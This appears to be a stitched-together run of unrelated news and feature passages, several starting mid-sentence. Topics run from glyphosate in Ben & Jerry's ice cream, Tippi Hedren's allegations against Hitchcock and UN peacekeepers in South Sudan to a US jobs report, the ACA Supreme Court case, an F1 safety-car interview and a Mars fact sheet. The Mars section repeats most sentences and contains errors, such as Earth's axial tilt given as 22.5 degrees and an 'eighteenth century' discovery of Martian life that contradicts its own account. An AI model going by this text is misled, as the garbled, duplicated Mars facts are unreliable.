It will add to a growing unease around the herbicide, which was first marketed in the US by Monsanto in 1974, as RoundUp, but is now the world’s most popular weedkiller, made by companies worldwide. Recently Prosecco DOC announced that wines marketed under the banner would not be able to use glyphosate and the US state of California added it to its list of chemicals that cause cancer.
Similar levels of glyphosate in B&J ice-cream have also been recorded in the US, although scientists told the Guardian these were “very low and not likely to pose a public health problem”.
Laura Peterson, a spokeswoman for B&J, said that the firm was “disappointed, but not totally surprised” to hear the results of the latest analysis.
“Glyphosate is one of the most widely used herbicides in agriculture and is everywhere – from mainstream food, to natural and organic food, and even rainwater – and that’s the issue,” she told the Guardian.
The herbicide is commonly used on crops such as wheat, barley, oats and peanuts, making it likely that it came from B&J’s cookie dough, peanut butter or other added ingredients.
“But simply saying trace levels are in everything is not a strategy,” Peterson added. “By no later than 2020, we will stop sourcing [ingredients] made with crops chemically dried using glyphosate. In addition, we intend to advocate for policies that would end use of glyphosate as a chemical drying agent.”
A new B&J 100% certified organic dairy line will launch next year and is expected to account for 6% of total US sales, she added.
Ben and Jerry’s is known for its environmentally friendly brand image. The Unilever-owned firm has campaigned against Arctic oil drilling and does not use GM crops, which are often manufactured to resist Monsanto’s RoundUp.
Glyphosate has received regulatory approval from several agencies, despite the WHO’s cancer wing deeming it “probably carcinogenic to humans”. Monsanto insist their product is safe to use, and the European Chemical Agency decided “the available scientific evidence did not meet the criteria to classify glyphosate as a carcinogen.”
The trigger for Monday’s move was a survey which found that popular B&J 500ml tubs of flavours such as Peanut Butter Cup, Half Baked and Chocolate Fudge Brownie in the UK all contained between 1 and 1.23 parts per billion of glyphosate.
Other B&J flavours that tested positive for glyphosate in France, Germany and the Netherlands were: Karamel Sutra Core, Cinnamon Buns, Cookie Dough and Topped Chocolate Caramel Cookie Dough.
Ronnie Cummins, the international director of the Organic Consumers Association, which commissioned the new survey, said: “Although we are happy to hear that consumer pressure has forced Unilever/Ben and Jerry’s to declare that some of their non-dairy ingredients will no longer be sprayed with RoundUp … the campaign to force Ben and Jerry’s to begin the transition to 100% organic will continue until the company signs a legally binding agreement and timeline to make this global transition over the next three to five years.”
European food safety authority guidelines put the levels of glyphosate found in the HRI tests well within safe limits. But one peer-reviewed study published by Nature magazine earlier this year found that much lower doses triggered fatty liver disease among rats.
Michael Antoniou, who heads the gene therapy group at King’s College London which produced the study, said a 35kg child would have to eat 114ml of B&J ice cream daily “over many years” to be at risk.
Products derived from wheat, barley, rye and oats – which can contain glyphosate levels 646 times higher than in the ice-cream – were more troubling, he added.
“Non-alcoholic fatty liver disease affects 20-30% of Europeans,” Antoniou said. “Our results imply that even extremely low daily ingestion of glyphosate-based herbicides may be a hitherto unsuspected risk factor for this disease.”
When it gets there — if you’re in New York City, at least — it may catch the eye of a sanitation worked named Nelson Molina. And if it does, what you thought was destined for the landfill may actually be sitting in the second floor of a New York City Sanitation Department garage in Manhattan.
A dozen or so garbage trucks are parked at the garage on 99th Street between First and Second Avenues in the New York borough which is home to Central Park, Times Square, and many other well-known city locations. Up in that neighborhood, if you go a few blocks west to Fifth Avenue, you’ll hit what’s known as “Museum Mile,” a twenty to thirty-block long stretch featuring nearly a dozen museums, including the Guggenheim and the Metropolitan Museum of Art. But to find the Trash Museum — unofficially named, of course — one need not get on the crosstown bus. Just go into the garage and up to the second floor.
Molina, a trash collector now approaching 60 years of age, picks up refuse in the neighborhood and has for years. A life-long sanitation worker, he decided in 1981 to bring some cheer to the locker room, decorating it with a few items he found along his route. As the New York Times reported, this started some sort of trend: “his colleagues on East 99th Street began to contribute, gathering up discarded gems they thought he might enjoy. As the collection grew, word spread, and workers from other boroughs started to drop off contributions from time to time. Next, building superintendents along Mr. Molina’s route started putting things aside they thought he could use.”
Over the course of two decades, Molina, the de facto curator, has collected somewhere in the realm of 1,000 items for the Trash Museum. (Many more things have been dropped off, but Molina is the ultimate arbiter as to what trash is worthy for inclusion and which items are, well, truly trash.) Items are grouped by some sort of common aesthetic, as determined by Molina, and there are no rules for inclusion — Molina told the Times that “he has no grand theories about what qualifies, [. . .] only his gut.” One assumes that there aren’t any half-eaten pastrami sandwiches, but there are plenty of baseballs, paintings, teapots, and more, as seen in this photo gallery.
The Sanitation Department’s rules prevent workers from taking anything discarded for personal use, but that apparently doesn’t apply in this case, as the museum’s collection is on display for the benefit and enjoyment of others, and not Molina himself.
Bonus fact : In 2010, the city of Cleveland, Ohio, outfitted curbside recycling bins with RFIDs — radio frequency identification chips — to allow them to determine how often a bin is brought out. Pickup is weekly, and if the bins aren’t brought out often enough, trash collectors can inspect the regular trash bins left by residents to see if recyclables are included.
From the Archives: Garbage City: A city in Egypt that runs on trash.
In an excerpt from her new memoir “Tippi,” obtained by the New York Post, Hedren details her relationship with Hitchcock in the ’60s, after she moved from New York City to Los Angeles following her divorce from Peter Griffith. Hitchcock, who died in 1980, tracked her down after seeing her in a commercial for meal replacement shakes, and signed her to a five-year movie contract.
After that, Hedren alleges, Hitchcock developed an unhealthy relationship with the actress. While working on 1963’s “The Birds,” the role that shot Hedren to stardom, Hedren claims that he was extremely possessive of her, warning her castmates, including co-star Rod Taylor, not to “touch her.” She claims that if Hitchcock even saw her talking to another man, he would give her an “expressionless, unwavering stare … even if he was talking to a group of people on the other side of the soundstage.”
Hedren further claims that Hitchcock would stalk her, telling his driver to pass by her home, and detailed an incident in which he allegedly tried to kiss her in the back of his limo. “It was an awful, awful moment,” she writes.
Related Hitchcock's 'To Catch a Thief' Set for Spanish-Language TV Series Remake Mark Hamill Hails 'Star Wars' Composer John Williams: 'He Elevates Every Scene'
The alleged abuse reportedly continued on the set of their next movie together, “Marnie,” where Hedren says Hitchcock had a door installed that connected his office to her dressing room. On that set, Hedren says Hitchcock entered her dressing room and tried to “put his hands on me.”
“It was sexual, it was perverse,” she writes. “The harder I fought him, the more aggressive he became.”
She writes that she didn’t tell anyone of the alleged abuse because “sexual harassment and stalking were terms that didn’t exist” at the time.
It’s not the first time, however, Hedren has spoken out about Hitchcock’s behavior. HBO’s 2012 film “The Girl” detailed the darker side of their relationship, and Hedren previously gave interviews describing his apparent obsession with her. “He was a misogynist,” she told the New York Times in 2012. “I think he had a whole lot of problems.”
With a wealth of material to work with, Saturday Night Live took a biographical look at “The Adventures of Young Ben Carson,” on an evening that began on a somber note after a tribute to the victims of the Paris attacks.
Cast-member Jay Pharoah played Carson in Detroit, 1968, who in a purportedly in a perpetual “white hot rage” despite his sleepy demeanor.
“I am hot with rage, and right now I’m about to go off. I feel like I might have to cut you,” threatened Carson, with Phaorah mimicking perfectly Carson’s oddly robotic speech patterns while appearing to be half-asleep.
Thwarted by belt buckles (“Aw, man! Blocked by a belt buckle! This happens all the time”) — even when he attempts to hit his mother in the head with a hammer — Carson is saved by “Black Jesus” who becomes his best friend, despite his “savior” thinking he’s a bit crazy due to his odd views on evolution and whether the ancient Egyptians stored grain in their pyramids.
UN peacekeepers refused to help as aid workers were raped in South Sudan – report
United Nations peacekeepers stayed in their bases rather than protect civilians during an outbreak of fighting in South Sudan in July, a rights group has said.
Chinese UN peacekeepers in the capital Juba “abandoned their posts entirely” at one civilian protection site where tens of thousands had sought safety from successive bouts of fighting, a report by the US-based Centre for Civilians in Conflict (Civic) said.
'We just want to live' – South Sudanese refugees bear scars of brutal civil war Read more
Although Ethiopian troops appear to have withdrawn from their perimeter positions at another base, civilians said the peacekeepers helped evacuate civilian casualties and, on at least a few occasions, returned fire when fighters targeted the camp. Outside the fortified bases, however, peacekeeper presence was “non-existent”.
The failures came amid clashes in Juba between troops from the government’s Sudan People’s Liberation Army (SPLA), loyal to the president Salva Kiir, and opposition forces of his rival Riek Machar. The street battles, in which scores were killed, were the culmination of months of tension between the two factions, and resulted in the flight of Machar from South Sudan.
During four days of fighting between the rival forces, artillery rounds and gunfire hit two UN bases, killing two Chinese peacekeepers.
The Chinese troops subsequently abandoned their posts, leaving weapons and ammunition behind, the report said.
More than 300 people died in the fighting, with the majority of the military casualties sustained by the rebels. A number of government soldiers from the SPLA were also killed.
However, civilians suffered worst, with tens of thousands displaced by the violence and widespread human rights abuses by both sides.
Facebook Twitter Pinterest South Sudan’s president, Salva Kiir, with members of the UN security council in Juba last month. Photograph: Justin Lynch/AP
Civilians died inside and outside the UN bases and hundreds – possibly thousands – of women were raped, including many within view of UN bases. Aid workers were also targeted.
On the last day of the fighting, about 80 to 100 government soldiers attacked a compound in Juba where they raped and gang-raped at least five international aid workers and physically or sexually assaulted at least a dozen others, the report said.
Enough is enough. It's time to protect aid workers Read more
They also killed a South Sudanese journalist, apparently because of his ethnicity, it was reported.
One UN base was only several hundred metres from the compound, but despite dozens of appeals for help from the besieged aid workers and personal visits from at least one who escaped from the compound, internal UN documents show no help was sent, the Associated Press reported in August.
The new report, based on about 100 interviews conducted in south Sudan, explains that though the UN gave orders for a peacekeepers to intervene, none “ever tried to leave their bases” with the Chinese and Ethiopian battalions refusing to go.
The UN has more than 12,500 troops from 61 countries deployed in South Sudan, which gained independence from Sudan in 2011 after decades of civil war. Under the UN’s terms of engagement, the force, which is equipped with armoured vehicles and heavy weapons, has the authority to take action to protect civilians and staff from imminent violence.
About 2,500 troops are stationed in two bases in Juba, backed by about 930 support staff and 350 police officers.
“The UN peacekeeping mission faced a challenging environment during the July violence in Juba, but it underperformed in protecting civilians inside and outside its bases,” said Federico Borello, the executive director of Civic. “To ensure that such problems are not repeated, it is critical that the UN be transparent about what went wrong and hold accountable any individuals or units that failed to live up to the protection mandate.”
Civic also called for a UN arms embargo on South Sudan, which was plunged into conflict in December 2013, when the president, Kiir, accused Machar, his former deputy, of plotting a coup.
Facebook Twitter Pinterest A UN armoured personnel vehicle in a refugee camp in Juba, South Sudan. Photograph: Jason Patinkin/AP
A patchily implemented peace deal in August 2015 led to Machar’s return to the capital this year, but the agreement broke down.
The UN’s failings in July were not new, Civic said. The group previously investigated an incident in February, when peacekeepers from Ethiopia, India and Rwanda stood by as government soldiers attacked another Protection of Civilians site in the northern town of Malakal, killing at least 30 civilians.
Months later, the UN admitted to peacekeeper “inaction, abandonment of post and refusal to engage” during the Malakal attack, but failed to hold any commanders or troops to account.
Civic said the UN mission in South Sudan received inadequate support from UN headquarters and had been “repeatedly blocked, harassed, and, at times, even attacked by the parties to the conflict”.
“The UN’s failings began before guns were fired in July; the security council has not taken meaningful action to challenge the government of South Sudan as it repeatedly obstructed the movements and functioning of Unmiss.
“The mission, for its part, yielded to a situation in which, in effect, it needed [local authorities’] authorisation to perform many of its most basic protection tasks,” the report said.
UN peacekeeping officials said the report raised a number of important issues, noting that an independent investigation into the Juba violence ordered by the outgoing UN secretary general Ban Ki-moon was due to present its findings shortly.
The UN sites offering civilians refuge were “unsustainable and cannot provide a reliable option for the physical security” of tens of thousands of South Sudanese, the institution’s peacekeeping department said. “The investment we urgently need to make and prioritise in South Sudan is putting the peace process back on track,” it said.
Machar, the former vice president, is in exile in Khartoum, from where he has called for armed resistance against Kiir’s government, raising the prospect of a return to all-out civil war.
Friday’s report also exceeded Wall Street economists’ expectations, which had ramped up following the ADP report. And both reports clearly indicate more than just a blip, with the first two months’ employment numbers averaging well above former President Obama’s last year in office at just 188,000 new jobs per month.
Unnoticed by most were where the people were coming from to take those new jobs. Long-term unemployment “was essentially unchanged” month-over-month, according to the BLS, as were those working part-time “for economic reasons.” Those “marginally attached to the labor force” (i.e., those not in the labor force who were available for work and had looked for work in the last 12 months), also remained constant.
So where are the new workers coming from? One of Obama’s hangovers was the number of people who left the workforce altogether during the slowest economic recovery in recent history. At its peak, nearly 96 million weren’t working but could work given enough incentive. In December, according to the BLS, that exact number was 95.1 million. In February that number had dropped to 94.2 million. Say it right: 900,000 Americans have entered the workforce since the end of December!
And the incentive: the increase in hourly wages (according to the Economic Policy Institute) of more than three percent last year. That uptick has made working a more attractive alternative to many who otherwise would be sitting at home receiving unemployment checks and using up whatever savings they might have left.
The positive economic outlook as measured by the University of Michigan’s consumer sentiment surveys, reported by The New American on Wednesday, was reflected by Americans buying homes in January at the fastest rate in a decade, despite higher mortgage rates. It’s no wonder that new jobs in construction jumped in January and February. Wait until the weather warms up and people begin home shopping in earnest!
In addition, factory output has recovered from an 18-month-long slump, adding fuel to the employment fire as well.
The best news is not just that the BLS jobs report confirmed ADP’s findings, but it also virtually eliminated any suggestion that Wednesday’s report was an aberration, an anomaly or a “blip” on the screen. It also is a harbinger for President Trump’s goal of adding 25 million jobs to the American economy over the next 10 years. So far, according to both ADP and the BLS, he’s right on schedule.
An Ivy League graduate and former investment advisor, Bob is a regular contributor to The New American magazine and blogs frequently at LightFromTheRight.com, primarily on economics and politics. He can be reached at This email address is being protected from spambots. You need JavaScript enabled to view it. .
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— A volunteer and former employee of the Wake County Animal Center faces more than a half-dozen charges stemming from accusations that he committed crimes against nature involving dogs.
Seadon Collin Etienne Henrich, 21, of 6717 Steves Drive in Zebulon, was arrested Thursday on four counts of crime against nature and three counts of felony dissemination of obscenity.
According to arrest warrants, Henrich engaged in sex acts with the animals between May 2011 and November 2012 and posted photos of the acts on a website.
Henrich was jailed under a $70,000 bond.
The new era, powered by renewable energy, will be swept in on a massive wave of investment. According to Beyond Zero Emissions’ report, Renewable Energy Superpower, the world will invest $US28tn in renewable energy and energy efficiency in the next 20 years.
But Western Australia risks being left behind. Here investors have poured more than $100bn into liquefied natural gas (LNG) over the past decade yet the state has little to show for it. Another $60bn is slated for LNG development, but with current low gas prices, the sense of that investment is questionable. Energy consumers fork out for coal-fired power that goes unused and endure endless debate about grid privatisation. Meanwhile Western Australia’s electricity-related emissions are rising, just as almost all other states are managing to reduce them.
New generation wave energy: could it provide one third of Australia's electricity? Read more
The irony is that Western Australia should welcome the dawn of the renewable energy era. The state’s enormous resources of sunshine, wind and wave mean it could become a renewable energy superpower of the future. Our report shows how Australia’s world-beating renewable energy resources represent a huge economic opportunity. Incredibly the report shows that in Western Australia alone, there is enough wind and solar, available at competitive prices, to provide almost 9% of the world’s energy every year. In other words Western Australia has more renewable energy than fossil energy.
There are in fact signs of life in Western Australia. For example, Perth start-up Power Ledger is trialling software enabling neighbours to trade energy between homes – an Australian first. And Carnegie Wave Energy is conducting one of the world’s most successful wave energy projects, generating power for the naval base on Garden Island. Carnegie has recently won funding from the Australian Renewable Energy Agency (Arena) to help develop its CETO wave energy technology which could attract interest from around the world.
Opportunities in the renewable energy era extend beyond the energy sector. In a low carbon world, a cheap and plentiful supply of renewable energy will attract energy-intensive industries. With its abundant mineral resources, Western Australia could become the world-centre for zero carbon metals like steel and aluminium.
Sorry Josh Frydenberg, gas is not the cleaner alternative to coal | Blair Palese Read more
What can Western Australia do to seize this opportunity? Firstly, like the ACT, the government needs to set a target of 100% renewable electricity. Such a target will attract investment and stimulate development of local technologies that could be sold to the rest of the world. Secondly, the government should set up an innovation fund for the development and commercialisation of new energy solutions. With Arena’s funding slashed, it is vital that the Carnegies of the future are not thwarted by lack of investment.
The government should also call a halt to the expansion of the gas distribution network. There’s nothing gas does for us that electricity can’t do more efficiently. Government and business should work together to encourage the uptake of high-efficiency electric appliances such as hot water heat pumps. At the same time, electric transport should be promoted. BZE has shown that a complete transition to electric cars in 10 years is affordable, and would reduce dependence on foreign oil.
The reward for this type of forward-looking policy would be investment, jobs and a head-start in renewable energy era. Nature has given Western Australia all it needs to ride this wave. Now it just needs the vision.
The Supreme Court has said it will hear arguments next March over President Barack Obama's healthcare overhaul, in a case that could shake the political landscape just as American voters are deciding if Obama deserves another term.
The decision to hear arguments in the spring allows plenty of time for a decision in late June, just over four months before election day. This sets up an election-year showdown over the White House's main domestic policy achievement that aims to extend medical insurance coverage to more than 30 million Americans.
The case could become the high court's most significant and political ruling since its 5-4 decision in the Bush v Gore case nearly 11 years ago effectively sealed George Bush's 2000 presidential election victory.
The justices announced they will hear more than five hours of arguments from lawyers – an extraordinarily long session – on the constitutionality of a provision at the heart of the 2010 law, and other related questions about the act. The central provision in question is the requirement that, starting in 2014, Americans buy health insurance – or pay a penalty.
The last time the court allotted anywhere near this much time for arguments was in 2003, for the consideration of the McCain-Feingold campaign finance reform. That case consumed four hours of argument.
A White House spokesman said, "We are pleased that the court has agreed to hear this case."
"We know the Affordable Care Act is constitutional, and are confident the Supreme Court will agree," communications direct Dan Pfeiffer said in a statement.
Senate Republican leader Mitch McConnell called the law an "unprecedented and unconstitutional expansion of the federal government into the daily lives of every American."
"In both public surveys and at the ballot box, Americans have rejected the law's mandate that they must buy government-approved health insurance, and I hope the supreme court will do the same," McConnell said.
Republicans have called the Patient Protection and Affordable Care Act unconstitutional since before Obama signed it into law in March 2010. But only one of the four federal appeals courts that have considered the health care overhaul has struck down even a part of the law.
The federal appeals court in Atlanta said Congress exceeded its power under the US constitution when it adopted the mandate. The federal appeals court in Cincinnati upheld the entire law, as did appellate judges in Washington in recent days.
In addition to deciding whether the law's central mandate is constitutional, the justices will also determine whether the rest of the law can take effect even if that central mandate is held unconstitutional. The law's opponents say the whole thing should fall if the individual mandate falls.
The administration counters that most of the law still could function, but says that requirements that insurers cover anyone and not set higher rates for people with pre-existing medical conditions are inextricably linked with the mandate and should not remain in place without it.
"The court recognised the seriousness of these vitally important constitutional challenges by allocating an extraordinary amount of time for oral argument," Florida attorney general Pam Bondi said.
Lastly, the justices might not settle the fight over the constitutionality of the law at all if they agree with a decision by the federal appeals court in Richmond, Virginia. Those appellate judges said arguments over the law's validity are premature because a federal law generally prohibits challenges to taxes until the taxes are paid. The appeals court reasoned that the penalty for not purchasing insurance will not be paid before federal income tax returns are due in April 2015.
The administration agreed to seek prompt supreme court review of the health care overhaul, though it had options for trying to delay the court's consideration of the law until after the election. The Justice Department passed up the chance to ask the appeals court in Atlanta to reconsider its decision. It is common for the Justice Department to seek review by the full appeals court when a three-judge panel rules against the government.
Legal experts have offered a range of opinions about what the high court might do. Many prominent supreme court lawyers believe that the law will be upheld by a lopsided vote, with Republican and Democratic appointees ruling in its favour. Others predict a close outcome, with Anthony Kennedy, a Republican who sometimes joins his four Democratic colleagues, holding the deciding vote.
But being a Safety car driver involves more than leading the Formula 1 cars when incidents or weather conditions requires their presence. It’s a relentless coordination job in which catching up the leader, keeping the field together and allowing lapped cars to overtake are more than just commands. All must be done with accuracy at a speed which allows the racing tyres to remain at an operating temperature while simultaneously ensuring that their engine remains optimal. Consider that the car – a Mercedes SLS AMG - weighs nearly three times more than a Formula 1 car, with a fraction of the downforce and equipped with all-weather tyres, the job gets even more difficult.
F1Zone.net sat down with Bernd Maylander to discuss his role as the safety car driver: the man who drives his Mercedes in front of the Formula 1 field in front of a worldwide TV audience.
“You don’t think about that,” he says. “You also don’t think that you’re now on TV and I don’t know how many millions of people can see you. I’m just focused on my job.”
“If I make a mistake I think we’ll have no interview anymore,” he joked.
“There is pressure. Pressure to make everything right and you are really focused that you don’t make any mistake. There were some tricky moments, especially on aquaplaning, but all the time it went right. For sure some things can go wrong, like for example I can have a puncture. It never happened but in this kind of situations you cannot do anything.”
Maylander, who has a racing background, explained that driving the safety car presents a different proposition to competitive motorsport.
“The basics are to be able to drive safe on the limits and to know what you have to do in which kind of situations. My job is to catch up the leader, to bring the field together, to give them somehow the speed that they have to follow.”
“We get all the information we need by radio. Me and my co-driver report to race control from our point of view, let’s say the rain conditions on the track or debris, if the right car is behind us because maybe I didn’t catch up the leader and then we have to bring him behind, or when the lapped cars can pass us. So we have to coordinate all those kinds of things in a safe way, but [while] still driving on the limit with the Safety Car.”
Maylander prepares himself for the race weekend on Thursday by practicing on the circuit for an hour. This helps him not only to remember the circuit but also to make some set-ups to the car, to check all the systems (radio, GPS) and ensure that the medical car is in the right position.
Maylander pinpoints the first lap of the race as the most likely time to trigger his presence on track, due to the relatively small field spread. But that doesn’t mean it’s a relief for him when the drivers enter the fourth lap. “If you start thinking that the critical moments are over, mostly in the next moment something will happen. All the time you are focused, even more at the start as every start is a new situation and you cannot plan anything, but you also never know what can happen in the next lap.”
Maylander nominated Spa and Suzuka as being the tracks which provides him with the biggest challenge, from a driving point of view, but the Japanese Grand Prix in 2007 [at Fuji] and the Korean Grand Prix in 2010 were the hardest races. Both events were marred by torrential rain, resulting in the race starting behind the safety car. “Korea was very tricky because the weather conditions were difficult. It was a long distance to drive and I had to watch every corner in the mirror to see if the guys were all together behind. It was very slippery and sometimes a little bit of aquaplaning, and if I can feel that the Formula 1 cars have it even more, so you always have to find the right level.”
“The record was at Montreal in 2011 when I led almost half of the race. It was quite difficult because it was really long and everybody got tired. You’re coming down a little bit because we stopped the race and then you have to bring your body up, to concentrate again and this is very tough, for me as well as for the race drivers,” he added.
“But the best races are without anything [incidents]. I don’t get paid by laps!”
42 year old Maylander has been the Safety Car driver in Formula 1 since 2000 and only missed one race to date, the Canadian Grand Prix in 2001, because of injury. He started his racing career at the end of the 1980s and retired in 2005, but is eyeing a return to competitive action.
“I’m working for the FIA and I’m a brand ambassador for Mercedes-Benz, so I’m in a lucky situation that I can drive any AMG models and that’s quite an interesting job. All together I would say it’s a dream job but yes, I miss racing. I’m thinking maybe in the future to do some long distance races. I don’t want to do a whole championship, but three or four races per season would be nice.”
Maylander competed in Formula Ford, Porche Carrera Cup, DTM and one of his biggest achievements is winning the 24 Hours race at Nurburgring in 2000.
“I did both [racing and driving the Safety Car] for 5 years and there was a time when I said I cannot be at a high level because of travelling so much from one weekend to another. I was also working during the week and that’s not possible to be really at a top level. And if I do something I want to do it 100%, not 99%.”
"I stopped because I was running out of motivation,” he added. Perhaps, given compatriot Michael Schumacher’s lack of motivation in 2006, such a mentality is a German attribute?
“Maybe when we do something, we do it such in a good way, and Michael did it in a fantastic way, that maybe we need a break. I’ve also tried to do it as good as I could and I was also tired and said I need to stop and focus on something else.”
Size of Mars compared to the Earth
Facts about Mars
Mars is the fourth planet from the Sun and last of the terrestrial planets and is around 227,940,000 km from the Sun.
and last of the terrestrial planets and is around 227,940,000 km from the Sun. The planet is named after Mars, the Roman god of war. It was known to the ancient Greeks as Ares, their god of war. This is thought to be because of the blood-red color of the planet which was also used by other ancient cultures. Chinese astronomers call Mars the “fire star” while ancient Egyptian priests called it “Her Desher” meaning “the red one”.
It was known to the ancient Greeks as Ares, their god of war. This is thought to be because of the blood-red color of the planet which was also used by other ancient cultures. Chinese astronomers call Mars the “fire star” while ancient Egyptian priests called it “Her Desher” meaning “the red one”. The landmass of Mars and Earth is very similar. Despite Mars being just 15% the volume and 10% the mass of Earth, it actually has a similar landmass because water covers about 70% of Earth’s surface. The surface gravity of Mars is about 37% the gravity found on Earth. This means that on Mars you could in theory jump 3x higher than you could on Earth.
Despite Mars being just 15% the volume and 10% the mass of Earth, it actually has a similar landmass because water covers about 70% of Earth’s surface. The surface gravity of Mars is about 37% the gravity found on Earth. This means that on Mars you could in theory jump 3x higher than you could on Earth. Only 16 of the 39 Mars missions have been successful. Beginning with the USSR’s Marsnik 1 which was launched in 1960, 39 orbiters, landers and rovers have been to Mars but only 16 of those missions were a success. In 2016, Europe’s Exobiology on Mars program will search the planet for signs of Martian life as well as study the surface and terrain of the planet and map potential environmental hazards to future manned missions to Mars.
Beginning with the USSR’s Marsnik 1 which was launched in 1960, 39 orbiters, landers and rovers have been to Mars but only 16 of those missions were a success. In 2016, Europe’s Exobiology on Mars program will search the planet for signs of Martian life as well as study the surface and terrain of the planet and map potential environmental hazards to future manned missions to Mars. Pieces of Mars have been found on Earth. It is believed that trace amounts of the Martian atmosphere were within meteorites that the planet ejected. These meteorites then orbited the solar system for millions of years amongst the other objects and solar debris before eventually entering the Earth’s atmosphere and crashing to the ground. The study of this material has allowed scientists to discover more about Mars before launching space missions.
It is believed that trace amounts of the Martian atmosphere were within meteorites that the planet ejected. These meteorites then orbited the solar system for millions of years amongst the other objects and solar debris before eventually entering the Earth’s atmosphere and crashing to the ground. The study of this material has allowed scientists to discover more about Mars before launching space missions. Mars was once believed to be home to intelligent life . This came from the discovery of lines or grooves in the surface called canali by Italian astronomer Giovanni Schiaparelli. He believed that these were not naturally occurring and were proof of intelligent life. However, these were later shown to be an optical illusion.
. This came from the discovery of lines or grooves in the surface called canali by Italian astronomer Giovanni Schiaparelli. He believed that these were not naturally occurring and were proof of intelligent life. However, these were later shown to be an optical illusion. The tallest mountain known in the solar system is on Mars. Olympus Mons is a 21 km high and 600 km diameter shield volcano that was formed billions of years ago. Scientists have found a lot of recent evidence of volcanic lava which suggests Olympus Mons may still be active. It is the second highest mountain in the entire solar system, topped only by the Rheasilvia central peak on the asteroid Vesta, which is 22 km high.
Olympus Mons is a 21 km high and 600 km diameter shield volcano that was formed billions of years ago. Scientists have found a lot of recent evidence of volcanic lava which suggests Olympus Mons may still be active. It is the second highest mountain in the entire solar system, topped only by the Rheasilvia central peak on the asteroid Vesta, which is 22 km high. Mars experiences huge dust storms – the largest in our solar system. This is due to the elliptical shape of the planet’s orbit path around the Sun. The orbit path is more elongated than many of the other planets and this oval shaped orbit results in fierce dust storms that cover the entire planet and can last for many months.
This is due to the elliptical shape of the planet’s orbit path around the Sun. The orbit path is more elongated than many of the other planets and this oval shaped orbit results in fierce dust storms that cover the entire planet and can last for many months. The Sun looks about half its size half it does from Earth when seen from Mars. When Mars is closest to the Sun in its orbit the southern hemisphere points toward the Sun and this causes a very short but fiercely hot summer. In the north it experiences a brief but cold winter. When the planet is farthest from the Sun, Mars experiences a long and mild summer because the northern hemisphere points toward the Sun. This is compared with a cold and lengthy winter in the south.
When Mars is closest to the Sun in its orbit the southern hemisphere points toward the Sun and this causes a very short but fiercely hot summer. In the north it experiences a brief but cold winter. When the planet is farthest from the Sun, Mars experiences a long and mild summer because the northern hemisphere points toward the Sun. This is compared with a cold and lengthy winter in the south. With the exception of Earth, Mars is the most hospitable to life – a number of space missions are planning for the next decade the further increase our understanding of Mars and when it has the potential for extraterrestrial life, as well as whether it may be a viable planet for a colony.
– a number of space missions are planning for the next decade the further increase our understanding of Mars and when it has the potential for extraterrestrial life, as well as whether it may be a viable planet for a colony. Martians, also known as extraterrestrials from Mars, are a common character in science fiction books and movies. This makes Mars one of the most popular and talked about planets in the solar system.
and movies. This makes Mars one of the most popular and talked about planets in the solar system. It takes Mars 687 Earth days to orbit the Sun with its orbit radius of 227,840,000 km.
with its orbit radius of 227,840,000 km. Mars is the only other planet besides Earth that has polar ice caps . The northern cap is called the Planum Boreum, with Planum Australe in the south. Water ice has also been found under the Martian ice caps.
. The northern cap is called the Planum Boreum, with Planum Australe in the south. Water ice has also been found under the Martian ice caps. Mars has seasons like Earth, but they last twice as long. This is because Mars is tilted on its axis by about 25.19 degrees, which is similar to the axial tilt of the Earth (22.5 degrees).
This is because Mars is tilted on its axis by about 25.19 degrees, which is similar to the axial tilt of the Earth (22.5 degrees). The orbit of Mars is the most eccentric of the eight planets. This means it is the least circular orbit path of the planets.
This means it is the least circular orbit path of the planets. The two moons of Mars, Phobos and Deimos, were written about in the book ‘Gulliver’s Travels’ by author Jonathan Swift – 151 years before they were discovered.
– 151 years before they were discovered. Mars does not have a magnetic field – although there are some scientists that believe it did have a magnetic field somewhere around 4 billion years ago.
More information and facts about Mars
It was believed life existed on Mars for much of the nineteenth century. The reason behind this belief was part mistake and part imagination. In 1877, the astronomer Giovanni Schiaparelli observed what he believed to be straight lines on Mars’ surface. As others noticed these lines, some suggested that they were too straight and could only be the work of intelligent life. The popular conclusion as to the nature of these lines was that they were canals constructed for irrigation purposes. However, with the development of more powerful telescopes in the early twentieth century, astronomers were able to view the Martian surface more clearly and determine that these straight lines were merely an optical illusion. As a result, the earlier claims of life on Mars were without evidence and, therefore, discarded.
The large amount of science fiction written during the twentieth century was a direct outgrowth of the belief that Mars possessed life. From little green men to death rays, Martians were the focus of many television and radio programs, comic books, movies, and novels.
Although the discovery of Martian life in the eighteenth century eventually proved to be false, Mars is nonetheless the planet most hospitable for life other than the Earth. As such, recent planetary missions have tried to determine if even the most basic of life exists on the planet’s surface. The Viking mission in the 1970s conducted experiments on the Martian soil in hopes of detecting microorganisms. While it was initially believed that the formation of compounds during the experiments were a result of biological agents, it has since been determined that these compounds can be created without biological mechanisms.
Even though the results lean toward the absence of life on Mars, scientists have speculated that conditions are right for life to exist beneath the planet’s surface. Future planetary missions scheduled to test the possibility of past and present life include the Mars Science Laboratory and ExoMars missions.
Atmosphere
The composition of Mars’ atmosphere is extremely similar to Venus’, one of the least hospitable atmospheres in all of the Solar System. The main component in both atmospheres is carbon dioxide (95% for Mars, 97% for Venus), yet a runaway greenhouse effect has taken hold of Venus, producing temperatures in excess of 480° C, while temperatures on Mars never exceed 20° C. Thus, something other than the composition is at work. The huge difference lies in the density of the two atmospheres. Whereas Venus’ atmosphere is exceedingly thick, Mars’ is quite thin. Simply put, Mars would resemble Venus if it possessed a thicker atmosphere.
Additionally, with such a thin atmosphere, the resulting atmospheric pressure is only about 1% of that found at sea level on Earth. That is the equivalent pressure found at 35 km above the Earth’s surface.
One of the long standing areas of research regarding the Martian atmosphere is its impact on the presence of liquid water. What the research has shown is that even though the polar caps possess frozen water and the air contains water vapor—as a result of the freezing temperatures and low pressure caused by the weak atmosphere—it is not possible for liquid water to exist on the planet’s surface. However, evidence provided by planetary missions suggests liquid water does exist one meter below the planet’s surface.
Surprisingly, despite the thin atmosphere, Mars experiences weather patterns. The primary form of this weather consists of winds, with other manifestations that include dust storms, frost, and fog. As a result of this weather, some erosion has been seen to take place at particular locations on the planet’s surface.
As a final note on the Martian atmosphere, leading theories claim that it may have once been dense enough to support large oceans of water. However, through some means in the planet’s past the atmosphere was drastically altered. One popular explanation for this change is that Mars was struck by a large body and in the process a large portion of its atmosphere was ejected into space.
Surface
